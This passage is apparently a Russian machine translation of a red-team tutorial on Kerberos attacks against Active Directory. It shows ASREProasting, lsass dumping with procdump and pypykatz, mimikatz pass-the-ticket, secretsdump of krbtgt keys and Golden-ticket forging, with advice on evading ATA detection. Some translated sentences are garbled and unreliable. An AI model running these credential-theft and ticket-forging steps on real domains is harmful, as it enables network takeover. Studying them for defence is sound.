Атака ASREProast (https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) состоит в том, чтобы идентифицировать пользователей, которым не требуется предварительная аутентификация Kerberos, и отправить AS-REQ от их имени, чтобы получить часть данных, зашифрованных с помощью ключа пользователя в сообщении AS-REP. После получения выполняется атака взлома в автономном режиме с целью восстановления пароля пользователя.

(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

Вы можете использовать такие инструменты, как сценарий impacket GetNPUsers.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py), команду asreproast Rubeus (https://github.com/GhostPack/Rubeus#asreproast) или сценарий ASREEProast.ps1 (https://github.com/HarmJ0y/ASREPRoast) для извлечения зашифрованных данных AS-REP.

$ GetNPUsers.py 'contoso.local/Anakin:Vader1234!' -dc-ip 192.168.100.2 -outputfile asreproast-hashes.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Name MemberOf PasswordLastSet LastLogon UAC
---- -------- -------------------------- -------------------------- --------
han 2020-12-16 10:53:35.177156 2021-05-12 09:19:28.469863 0x410200

root@debian10:~# cat asreproast-hashes.txt
$krb5asrep$23$han@CONTOSO.LOCAL:73eea4275625972c2e224648c4766b5a$1bbdaba56bb6eba4ea8cb565221de2fe2b5a8ade3d......


Если у вас есть пользователь TGT, вы можете взломать его с помощью hashcat ( https://hashcat.net/hashcat/). Вы можете запросить AS-REP с шифрованием RC4, чтобы его было легче взломать.

Pass the Key/Over Pass the Hash


Как вы могли заметить, для запроса TGT пользователю нужно использовать не пароль, а ключ Kerberos. Следовательно, если злоумышленник может украсть ключ Kerberos (хэш NT или ключи AES), его можно использовать для запроса TGT от имени пользователя без необходимости знать пароль пользователя.

Обычно в Windows ключи Kerberos кэшируются в процессе lsass, и их можно получить с помощью команды mimikatz sekurlsa::ekeys (https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#ekeys). Также вы можете сдампить процесс lsass (https://www.c0d3xpl0it.com/2016/04/extracting-clear-text-passwords-using-procdump-and-mimikatz.html) с помощью таких инструментов, как procdump (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump), sqldumper или других (https://lolbas-project.github.io/#/dump), и извлечь ключи в автономном режиме с помощью mimikatz.

В случае Linux ключи Kerberos хранятся в файлах keytab (https://web.mit.edu/kerberos/krb5-devel/doc/basic/keytab_def.html ), чтобы их можно было использовать для службы Kerberos. Файл keytab обычно находится в /etc/krb5.keytab, или в значении, указанном в переменных среды KRB5_KTNAME или KRB5_CLIENT_KTNAME, или указанном в файле конфигурации Kerberos в /etc/krb5.conf.( https://web.mit.edu/kerberos/krb5-1.12/doc/admin/conf_files/krb5_conf.html)

Когда keytab находится, вы можете скопировать его на свой локальный компьютер и/или получить список его ключей с помощью klist (https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_commands/klist.html) (Kerberos MIT) или cerbero (https://gitlab.com/Zer1t0/cerbero/#list).

$ klist -k -Ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
1 r2d2@contoso.local (DEPRECATED:arcfour-hmac) (0xc49a77fafad6d3a9270a8568fa453003)


Получив ключи Kerberos, вы можете запросить TGT в Windows с помощью команды Rubeus asktgt (https://github.com/GhostPack/Rubeus#asktgt ).

На компьютере с Linux вы можете использовать утилиты MIT Kerberos (https://malicious.link/post/2018/pass-the-hash-with-kerberos/) для создания таблицы ключей с ключом и запросить TGT или использовать ключ напрямую с помощью скрипта impacket getTGT.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/getTGT.py) или команды cerbero ask (https://gitlab.com/Zer1t0/cerbero#ask) .

$ cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv
INFO - Request contoso.local/Anakin TGT for contoso.local
INFO - Save contoso.local/Anakin TGT for contoso.local in /root/Anakin.ccache


Билеты Kerberos имеют два формата: ccache и krb. ccache используется машинами Linux для хранения билетов (обычно в файлах). Формат krb используется в Windows для хранения билетов в памяти lsass, а также является форматом для передачи билетов по сети. Вы можете конвертировать билеты из одного формата в другой с помощью скрипта ticket_converter.py (https://github.com/Zer1t0/ticket_converter ) или команды cerbero convert (https://gitlab.com/Zer1t0/cerbero#convert) .

$ python ticket_converter.py ~/Anakin.ccache ~/Anakin.krb
Converting ccache => kirbi


Кроме того, вы можете вычислить ключи Kerberos из пароля пользователя с помощью команды cerbero hash(https://gitlab.com/Zer1t0/cerbero#hash). Также ключи AES можно рассчитать с помощью Get-KerberosAESKey.ps1 (https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372 ) или хэша NT с помощью нескольких строк Python (https://stackoverflow.com/questions/15603628/how-to-calculate-ntlm-hash-in-python#answer-15603809) .

$ cerbero hash 'Vader1234!' -u contoso.local/Anakin
rc4:cdeae556dc28c24b5b7b14e9df5b6e21
aes128:18fe293e673950214c67e9f9fe753198
aes256:ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e

Pass the Ticket


Техника Pass the Ticket заключается в краже билета и связанного сеансового ключа и использовании их для олицетворения пользователя для доступа к ресурсам или услугам. Можно использовать как TGT, так и ST, но TGT предпочтительнее, поскольку они позволяют получить доступ к любой службе (используя ее для запроса ST) от имени пользователя, тогда как ST ограничены только одной службой (или несколькими, если SPN (https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/) изменен на другой сервис того же пользователя).

В Windows билеты можно найти в памяти процесса lsass и извлечь их с помощью команды mimikatz sekurlsa (https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#tickets) ::tickets или команды дампа Rubeus (https://github.com/GhostPack/Rubeus#dump). Другая возможность — сдампить процесс lsass с помощью таких инструментов, как procdump (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump), sqldumper или других (https://lolbas-project.github.io/#/dump), и извлечь билеты в автономном режиме с помощью mimikatz или pypykatz (https://github.com/skelsec/pypykatz). Эти команды извлекают билеты в формате krb.

PS C:\> .\procdump.exe -accepteula -ma lsass.exe lsass.dmp

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[12:03:17] Dump 1 initiated: C:\lsass.dmp
[12:03:18] Dump 1 writing: Estimated dump file size is 34 MB.
[12:03:18] Dump 1 complete: 34 MB written in 1.0 seconds
[12:03:18] Dump count reached.

$ pypykatz lsa minidump lsass.dmp -k /tmp/kerb > output.txt
INFO:root:Parsing file lsass.dmp
INFO:root:Writing kerberos tickets to /tmp/kerb
$ ls /tmp/kerb/

lsass.dmp_51a1d3f3.ccache 'TGS_CONTOSO.LOCAL_WS02-7$_WS02-7$_29a9c991.kirbi'
lsass.dmp_c9a82a35.ccache TGT_CONTOSO.LOCAL_anakin_krbtgt_CONTOSO.LOCAL_6483baf5.kirbi
TGS_CONTOSO.LOCAL_anakin_LDAP_dc01.contoso.local_contoso.local_f8a46ad5.kirbi 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_740ef529.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_b9833fa1.kirbi' 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_77d63cf0.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_cifs_dc01.contoso.local_bfed6415.kirbi' 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_7ac74bd6.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_ldap_dc01.contoso.local_contoso.local_2129bc1c.kirbi' 'TGT_CONTOSO.LOCAL_WS02-7$_krbtgt_CONTOSO.LOCAL_fdb8b40a.kirbi'
'TGS_CONTOSO.LOCAL_WS02-7$_LDAP_dc01.contoso.local_contoso.local_719218c6.kirbi'


С другой стороны, на Linux-машинах, входящих в домен, билеты хранятся по-другому (https://www.delaat.net/rp/2016-2017/p97/report.pdf). Билеты обычно можно найти по умолчанию в каталоге /tmp в файлах формата krb5cc_%{uid}, где uid — это uid пользователя. Чтобы получить билеты, просто скопируйте файлы (если у вас есть права). Однако также возможно, что билеты хранятся в ключах ядра Linux ( https://man7.org/linux/man-pages/man7/keyrings.7.html), а не в файлах, но вы можете получить их с помощью tickey (https://github.com/TarlogicSecurity/tickey) .

Чтобы быть уверенным, где билеты хранятся на компьютере с Linux (https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html), вы можете проверить файл конфигурации Kerberos (https://web.mit.edu/kerberos/krb5-1.12/doc/admin/conf_files/krb5_conf.html) в /etc/krb5.conf. Билеты хранятся в формате ccache (https://web.mit.edu/kerberos/krb5-devel/doc/formats/ccache_file_format.html) на компьютерах с Linux.

Чтобы использовать билеты на компьютере с Windows (https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-windows), вы должны внедрить их в процесс lsass, что можно сделать с помощью команды mimikatz kerberos::ptt (https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos#ptt) или команды Rubeus ptt (https://github.com/GhostPack/Rubeus#ptt). Эти утилиты читают билеты в формате krb.

PS C:\> .\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29

.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # kerberos::ptt pikachu-tgt.kirbi


* File: 'pikachu-tgt.kirbi': OK

После внедрения билетов в сеанс вы можете использовать любой инструмент для выполнения действий, выдавая себя за пользователя по сети, например psexec (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

В Linux вы можете использовать билеты (https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-linux) с утилитами impacket (https://github.com/SecureAuthCorp/impacket/tree/master/examples) , указав переменную среды KRB5CCNAME на файл билета. Затем используйте утилиты impacket с параметрами -k -no-pass. Здесь нужны билеты в формате ccache.

Чтобы преобразовать билеты между форматами krb (Windows) и ccache (Linux), вы можете использовать сценарий ticket_converter.py (https://github.com/Zer1t0/ticket_converter) или команду cerbero convert (https://gitlab.com/Zer1t0/cerbero#convert).

Золотой/Серебряный билет

В Active Directory TGT Kerberos шифруются ключами учетной записи krbtgt. В случае знания ключей можно создать пользовательские TGT, известные как Golden Tickets (https://en.hackndo.com/kerberos-silver-golden-tickets/#golden-ticket).

Чтобы получить ключи krbtgt, вам необходимо получить доступ к базе данных Active Directory. Вы можете сделать это, выполнив удаленную атаку dcsync (https://adsecurity.org/?p=1729) с помощью команды mimikatz lsadump::dsync ( https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump#dcsync) или скрипта impacket secretsdump.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py), или скопировав файл NTDS.dit (https://www.ired.team/offensive-sec.../ntds.dit-enumeration#no-credentials-ntdsutil) локально с помощью ntdsutil (https://docs.microsoft.com/en-us/pr...ows-server-2012-r2-and-2012/cc753343(v=ws.11)) или vssadmin (https://docs.microsoft.com/en-gb/windows-server/administration/windows-commands/vssadmin).

$ secretsdump.py 'contoso.local/Administrator@192.168.100.2' -just-dc-user krbtgt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162
krbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506
krbtgt:des-cbc-md5:0e6d79d66b4951cd
[*] Cleaning up...


Точно так же можно создать пользовательский ST для службы, известной как Silver Ticket (https://en.hackndo.com/kerberos-silver-golden-tickets/#silver-ticket), если мы получим ключи Kerberos пользователя службы. Ключи для пользователя службы можно получить, изучив процесс lsass (https://zer1t0.gitlab.io/posts/attacking_ad/#lsass-credentials) на компьютерах домена, на которых пользователь вошел в систему, выполнив Kerberoast (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberoast), создав дамп базы данных Active Directory (https://zer1t0.gitlab.io/posts/attacking_ad/#domain-database-dumping) и т. д.

И в Золотом, и в Серебряном билете можно создать билет для любого пользователя в домене и даже для несуществующего. Более того, мы можем дать высокие привилегии пользователю билета, изменив группы пользователей PAC и включив, например, группу "Администраторы домена", чтобы иметь привилегии администраторов домена.

Кроме того, мы должны подписать PAC билета с помощью ключа krbtgt, но это невозможно сделать для серебряных билетов, поскольку мы просто знаем ключ службы пользователя, здесь используется поддельная подпись, поскольку довольно странно, что служба проверяется с помощью контроллера домена подписи PAC.

Для создания золотых и серебряных билетов вы можете использовать команду mimikatz kerberos::golden (https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos#golden--silver) или скрипт impacket ticketer.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py). Затем вы можете использовать их как любой билет. Если можете, используйте ключ AES256, чтобы избежать обнаружения такими решениями, как ATA ( https://www.blackhat.com/docs/us-17...crosoftATA-for-ActiveDirectory-Domination.pdf).

$ ticketer.py -domain-sid S-1-5-21-1372086773-2238746523-2939299801 -domain contoso.local Administrator -aes 5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for contoso.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache


После создания золотые билеты дают вам права, указанные в билете, позволяя вам выдавать себя за любого пользователя, даже несуществующего, в домене и получать доступ к любой службе в домене.

Следует иметь в виду, что после создания Золотого билета его необходимо использовать в течение 20 минут (https://passing-the-hash.blogspot.com/2014/09/pac-validation-20-minute-rule-and.html), в противном случае KDC проверит информацию PAC, чтобы убедиться, что она верна.

С другой стороны, только разрешите вам предоставить вам права доступа к услугам пользователя, у которого вы получили пароль. Случаем использования серебряных билетов является доступ к компьютеру в качестве администратора, когда у вас есть пароль учетной записи домена компьютера. У вас нет прав администратора на компьютере с его учетной записью домена компьютера, но вы можете использовать его пароль для создания серебряного билета для его служб и выдачи себя за администратора.

Таким образом, Silver Tickets можно использовать для доступа к сервису одного пользователя, а Golden Ticket — для доступа к любому сервису в домене… и т. д.

Kerberos между доменами

Золотые билеты также можно использовать для компрометации всего леса (https://adsecurity.org/?p=1640). Но прежде чем углубляться в это, давайте рассмотрим, как работает Kerberos в доверенных доменах.

Как мы видели ранее, пользователь домена может получить доступ к службам в доверительных доменах (используя входящие или двунаправленные доверительные отношения (https://zer1t0.gitlab.io/posts/attacking_ad/#trusts)). Процесс доступа к ресурсам внешнего домена также требует аутентификации, которую может обеспечить Kerberos.

Однако KDC (DC) может выдавать ST только для служб в своем домене, так как же работает Kerberos между доменами? Что ж, необходимо запросить ST на сервер DC внешнего домена, а для этого нам потребуется TGT для этого сервера. TGT для внешнего KDC, известного как межобластной TGT, выдается нашим KDC, когда мы запрашиваем ST для службы в другом домене. Шаги следующие:

1654090038292.png


1. Клиент/пользователь из домена foo.com использует SPNEGO для согласования аутентификации Kerberos с желаемой службой, в данном случае HTTP\srvbar (веб-сервер на сервере srvbar) из bar.domain.

2. Клиент запрашивает ST, используя свой TGT foo.com, для HTTP\srvbar в свой KDC, отправляя сообщение TGS-REQ.

3. KDC определяет, что эта служба находится в доверенном домене bar.com. Таким образом, KDC foo.com создает TGT для bar.com (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/bac4dc69-352d-416c-a9f4-730b81ababb3), используя в качестве ключа шифрования (и подписи PAC) ключ межобластного доверия (https://zer1t0.gitlab.io/posts/attacking_ad/#trust-key) (секретный ключ, совместно используемый обеими сторонами доверия). Затем KDC возвращает TGT bar.com в сообщении TGS-REP. PAC, включенный в bar.com TGT, является копией foo.com TGT PAC (https://dirkjanm.io/active-director...id-filtering-work/#from-a-to-b-whats-in-a-pac) .

4. Клиент использует TGT bar.com, чтобы запросить HTTP\srvbar ST в KDC bar.com, отправив сообщение TGS-REQ.

5. KDC bar.com проверяет билет, расшифровывая его с помощью межобластного ключа доверия. Затем он создает ST для HTTP\srvbar для клиента. Когда создается новый ST, PAC из TGT копируется и при необходимости фильтруется (https://docs.microsoft.com/en-us/op...s/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280). Обычно удаляются лишние SID, не входящие в лес доверенного домена ( https://dirkjanm.io/active-director...tering-work/#golden-tickets-and-sid-filtering).

6. Наконец, клиент использует ST для аутентификации в службе HTTP\srvbar.

Любопытно, что обычно TGT между областями шифруются с использованием алгоритма RC4 вместо AES256.
 
Атака на историю SID

Что интересно в этом процессе, так это то, как PAC копируется между заявками при междоменном взаимодействии. Такое поведение может позволить злоумышленнику, способному создать золотые билеты для домена, скомпрометировать весь лес (https://adsecurity.org/?p=1640).

Как мы видели ранее, в PAC (https://zer1t0.gitlab.io/posts/attacking_ad/#pac) есть поле для включения дополнительных SID (https://docs.microsoft.com/en-us/op.../ms-dtyp/78eb9013-1c3a-4970-ad1f-2b1dad588a25), которые идентифицируют специальные объекты. Это поле обычно используется для включения тех SID, которые хранятся в атрибуте SIDHistory (https://docs.microsoft.com/es-es/windows/win32/adschema/a-sidhistory) .

История SID используется для миграции. При миграции пользователя из домена в другой сбрасываются привилегии пользователя, создается новый SID, пользователь добавляется в новые группы и т. д. Однако SID из групп, к которым пользователь принадлежит в старом домене, хранятся в атрибуте SID History.

Затем, когда пользователь хочет получить доступ к ресурсам в старом домене, его исторические SID добавляются в поле дополнительных SID PAC. Таким образом, старый домен может просмотреть эти SID и предоставить пользователю его старые привилегии, что позволит ему получить доступ к ресурсам старого домена.

Однако дополнительные SID могут быть опущены (не скопированы в ST PAC) в соответствии с политикой фильтрации SID (https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/). Как правило, домены разрешают SID из других доменов в лесу (по умолчанию), но отбрасывают дополнительные SID из внешних лесов в соответствии с правилом ForestSpecific (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280), поскольку лес является границей безопасности Active Directory.

Кроме того, домены одного и того же леса также могут быть помещены в карантин, что позволит удалить лишние идентификаторы безопасности с помощью политики QuarantinedWithinForest (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280) .

Напротив, история SID (https://dirkjanm.io/active-director...-sid-filtering-work/#sid-filtering-relaxation) может быть включена в доверии между доменами разных лесов с некоторыми ограничениями. Допускаются группы с SID целевого (доверяющего) леса, у которых RID (https://docs.microsoft.com/en-us/op...d41c8#gt_df3d0b61-56cd-4dac-9402-982f1fedc41c) выше 1000. Следовательно, административные группы, такие как Администраторы домена ( https://adsecurity.org/?p=3658) (RID = 512), чей RID ниже 1000, фильтруются, но группы с более высоким RID, которые принадлежат этим административным группам (становятся также административными группами), например, административные группы Exchange.

Затем, если история SID редактируется, могут быть введены административные привилегии для других доменов. Например, если вы внедрите SID Enterprise Admins (https://docs.microsoft.com/en-us/pr.../it-pro/windows-server-2003/cc756898(v=ws.10)) в историю SID пользователя, то пользователь может иметь административные привилегии во всем лесу.

Атрибут SID History можно редактировать ( https://adsecurity.org/?p=1772) непосредственно в базе данных Active Directory с помощью команды mimikatz misc::addsid (https://book.hacktricks.xyz/windows/stealing-credentials/credentials-mimikatz#sid).

Однако, как мы уже говорили ранее, история SID копируется в PAC TGT, поэтому, если мы можем создать золотой билет, мы можем внедрить нужные SID истории непосредственно в атрибут дополнительных SID PAC. Затем, когда мы используем этот билет Golder, его PAC копируется в межобластной TGT. Впоследствии, при использовании этого межобластного TGT для получения ST для службы во внешнем домене, если этот домен находится в том же лесу, привилегированные SID могут быть скопированы в ST PAC, тем самым предоставляя нам привилегии, которые у нас были изначально вводится в билет.

Интересным SID для внедрения является один из Администраторов предприятия (https://adsecurity.org/?p=3658) , эта группа существует только в корневом домене леса и по умолчанию добавляется как член всех групп Администраторы домена всех доменов в лесу.

На самом деле, если вы скомпрометируете корневой лес домена и создадите золотой билет, который включает группу Администраторы предприятия (чей RID равен 519 и включен по умолчанию для impacket и mimikatz), вам не нужно создавать золотой билет с дополнительными SID, поскольку у вас уже есть разрешения на управление всем лесом, даже доменами, помещенными в карантин (поскольку нет дополнительных SID для фильтрации). Добавление Enterprise Admins к дополнительным SID необходимо только в том случае, если вы скомпрометировали некорневой домен и хотите скомпрометировать другой домен леса, за исключением доменов, помещенных в карантин, которые фильтруют дополнительные SID.

1654419006015.png


Однако для выполнения атаки dcsync (http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/) в другом домене, возможно, с использованием SID групп Контроллеры домена предприятия (S-1-5-9) и Контроллеры домена (S-1-5-21-домен-516) больше скрытность, так как именно DC обычно выполняют подпрограммы синхронизации, используемые в dcsync.

Для создания «золотых» билетов вы можете использовать команду mimikatz kerberos::golden ( https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos#golden--silver) или скрипт impacket ticketer.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py), аналогичный созданию золотого билета, но с добавлением дополнительных SID. Если можете, используйте ключ AES256, чтобы избежать обнаружения такими решениями, как ATA (https://www.blackhat.com/docs/us-17/thursday/us-17-Mittal-Evading-MicrosoftATA-for-ActiveDirectory-Domination.pdf) .

Inter-realm TGT


Как мы видели, использование Kerberos для операций между областями вводит новый тип TGT, межобластной TGT. Этот TGT точно такой же, как и обычный, за исключением того, что он зашифрован ключом доверия между областями, который является секретным ключом, позволяющим обеим сторонам доверия общаться между собой. Секретный ключ хранится как ключ учетной записи пользователя, представляющей доверие. (https://zer1t0.gitlab.io/posts/attacking_ad/#trust-accounts)

Чтобы получить ключ доверия между областями, обычно вам нужно сделать дамп базы данных домена (https://zer1t0.gitlab.io/posts/attacking_ad/#domain-database-dumping) . Более того, есть одна ситуация, когда получить траст-ключ можно было через Kerberoast (https://blog.xpnsec.com/inter-realm-key-roasting/).

Когда создается траст, пароль может быть выбран человеком, поэтому существует вероятность того, что будет установлен слабый пароль. Затем вы можете получить межобластной TGT, зашифрованный с помощью ключа доверия, и попытаться взломать его, чтобы получить пароль доверия (который используется для генерации всех ключей доверия Kerberos). Но помните, что пароль доверия, как и машинные пароли, обычно меняются каждые 30 дней.

Наконец, после получения ключа доверия для создания билета (https://adsecurity.org/?p=1588) между областями можно использовать команду mimikatz kerberos::golden (https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos#golden--silver) или сценарий impacket ticketer.py (https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py). Затем вы можете использовать его как любой билет. Билеты между трастами шифруются с помощью ключа RC4, то есть хэша NT доверительной учетной записи.

Делегирование Kerberos

Как нам кажется, Kerberos позволяет пользователям аутентифицироваться и получать доступ к сервису по всему домену или даже в других доменах. Однако иногда службам, к которым осуществляется доступ, необходимо олицетворять пользователя (https://en.hackndo.com/constrained-unconstrained-delegation/#delegation-principle), чтобы общаться с третьей службой.

Например, веб-сервер, на котором зарегистрирован пользователь (с помощью Kerberos), должен выполнять некоторые действия в базе данных от имени пользователя. Однако, когда пользователь аутентифицируется на веб-сервере, он получает пользовательский ST только для себя, но для олицетворения пользователя ему также требуется пользовательский ST для службы базы данных.

Чтобы справиться с этой ситуацией, можно использовать делегирование Kerberos. Эта функция предоставляет механизмы, позволяющие службе получать ЗБ для третьей службы от имени клиента.

Для выполнения делегирования Kerberos в Active Directory существует два подхода:

Неограниченное делегирование

Подразумевает отправку пользовательского TGT внутри ST службе, что позволяет ей полностью олицетворять клиента по отношению к KDC с помощью клиентского TGT.

Ограниченное делегирование

Предоставляет механизмы, расширения службы для пользователя (https://docs.microsoft.com/en-us/op...s/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94)(S4U), которые позволяют службе запрашивать ST от имени пользователя без необходимости использования клиентского TGT и только для определенных разрешенных служб.

Давайте поговорим о том, как работает делегирование Kerberos (https://www.tarlogic.com/en/blog/kerberos-iii-how-does-delegation-work/). Но сначала давайте рассмотрим меры против делегирования, которые мешают делегированию работать.

Меры против делегирования Kerberos

Существует два механизма, позволяющих избежать делегирования определенной учетной записи пользователя (олицетворения в Kerberos):

- Установка флага NOT_DELEGATED в атрибуте UserAccountControl (https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties) учетной записи пользователя.

- Добавление пользователя в группу Защищенных пользователей (https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn466518(v=ws.11)).

Любая из этих мер применяется к учетной записи пользователя, делегирование будет невозможно. Поэтому важно знать, какие учетные записи защищены, и чтобы найти их, вы можете использовать запрос LDAP со следующим фильтром:

(|
(memberof:1.2.840.113556.1.4.1941:=CN=Protected Users,CN=Users,DC=<domain>,DC=<dom>)
(userAccountControl:1.2.840.113556.1.4.803:=1048576)
)


Чтобы найти защищенные делегированные учетные записи, вы можете использовать такие инструменты, как Powerview (https://github.com/EmpireProject/Em...e/situational_awareness/network/powerview.ps1) , модуль Powershell ActiveDirectory (https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps) или ldapsearch (https://linux.die.net/man/1/ldapsearch) .

Неограниченное делегирование Kerberos

При неограниченном делегировании Kerberos (https://adsecurity.org/?p=1667) служба может олицетворять пользователя клиента, поскольку при этом службе отправляется собственный TGT. Затем служба может использовать TGT пользователя (без каких-либо ограничений) для запроса новых ЗБ для других служб от имени клиента.

KDC устанавливает флаг OK-AS-DELEGATE (https://tools.ietf.org/html/rfc4120#section-2.8 ) в ST для любой службы, владелец которой, пользователь службы, имеет установленный флаг UserAccountControl (https://docs.microsoft.com/en-us/tr...raccountcontrol-manipulate-account-properties) TRUSTED_FOR_DELEGATION. Проверяя флаги OK-AS-DELEGATE (https://tools.ietf.org/html/rfc4120#section-2.8) и FORWARDABLE (https://tools.ietf.org/html/rfc4120#section-2.6), клиент знает, должен ли он запрашивать отправку TGT целевой службе, чтобы разрешить неограниченное делегирование.

В случае клиентов, являющихся членами группы Защищенные пользователи (https://docs.microsoft.com/en-us/pr...dows-server-2012-R2-and-2012/dn466518(v=ws.11)) или имеющих установленный флаг NOT_DELEGATED UserAccountControl ( https://docs.microsoft.com/en-us/tr...raccountcontrol-manipulate-account-properties), флаг FORWARDABLE (https://tools.ietf.org/html/rfc4120#section-2.6) в протоколе ST.

Кроме того, для установки флага TRUSTED_FOR_DELEGATION в учетной записи пользователя требуется SeEnableDelegationPrivilege (https://www.harmj0y.net/blog/active...-user-right-you-probably-have-never-heard-of/).

Давайте рассмотрим пример:

1654419083677.png


1. Клиент запрашивает ST для службы HTTP\websrv (веб-служба на сервере websrv), используя свой TGT. Служба HTTP\websrv принадлежит пользователю websrv$ (помните, что имена пользователей [[#computer-accounts][computer account]] заканчиваются на =$=).

2. KDC проверяет, установлен ли флаг TRUSTED_FOR_DELEGATION (https://docs.microsoft.com/en-us/tr...raccountcontrol-manipulate-account-properties) для websrv$. Следовательно, KDC возвращает клиенту ST для HTTP\websrv с флагом OK-AS-DELEGATE (https://tools.ietf.org/html/rfc4120#section-2.8)(и FORWARDABLE (https://tools.ietf.org/html/rfc4120#section-2.6)).

3. Клиент проверяет флаг OK-AS-DELEGATE (https://tools.ietf.org/html/rfc4120#section-2.8), указывающий, что служба использует делегирование, поэтому он решает запросить у KDC сообщение FORWARDED TGT для отправки службе.

4. KDC возвращает TGT с установленным флагом FORWARDED.

5. Клиент отправляет ST с включенным FORWARDED TGT в websrv для получения доступа к сервису HTTP\websrv.

6. Иногда HTTP\websrv необходимо олицетворять клиента для доступа к службе базы данных, расположенной в dbsrv. Поэтому веб-служба запрашивает ST для MSSQLSvc\dbsrv от имени клиента, используя полученный клиентский TGT.

7. Затем KDC возвращает клиенту ST для доступа к службе MSSQLSvc\dbsrv.

8. Наконец, служба HTTP\websrv использует ST для доступа к MSSQLSvc\dbsrv, выдавая себя за клиента.

Вероятно, наиболее важным фактом, который следует иметь в виду, является то, что любой ST, который будет отправлен на HTTP\websrv, будет содержать TGT от клиента. Поэтому, если кто-то скомпрометирует сервер websrv, он сможет получить все эти TGT и использовать их для олицетворения любого из клиентов с помощью атаки Pass the Ticket (https://zer1t0.gitlab.io/posts/attacking_ad/#pass-the-ticket).

Для получения билетов с компьютера Windows (включая делегированные TGT) можно использовать команду mimikatz sekurlsa::tickets (https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#tickets) или команду дампа Rubeus (https://github.com/GhostPack/Rubeus#dump). Другой подход заключается в сбросе процесса lsass с помощью таких инструментов, как procdump (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump), sqldumper (https://lolbas-project.github.io/#/dump) или других, и извлечении билетов в автономном режиме с помощью mimikatz или pypykatz (https://github.com/skelsec/pypykatz) .

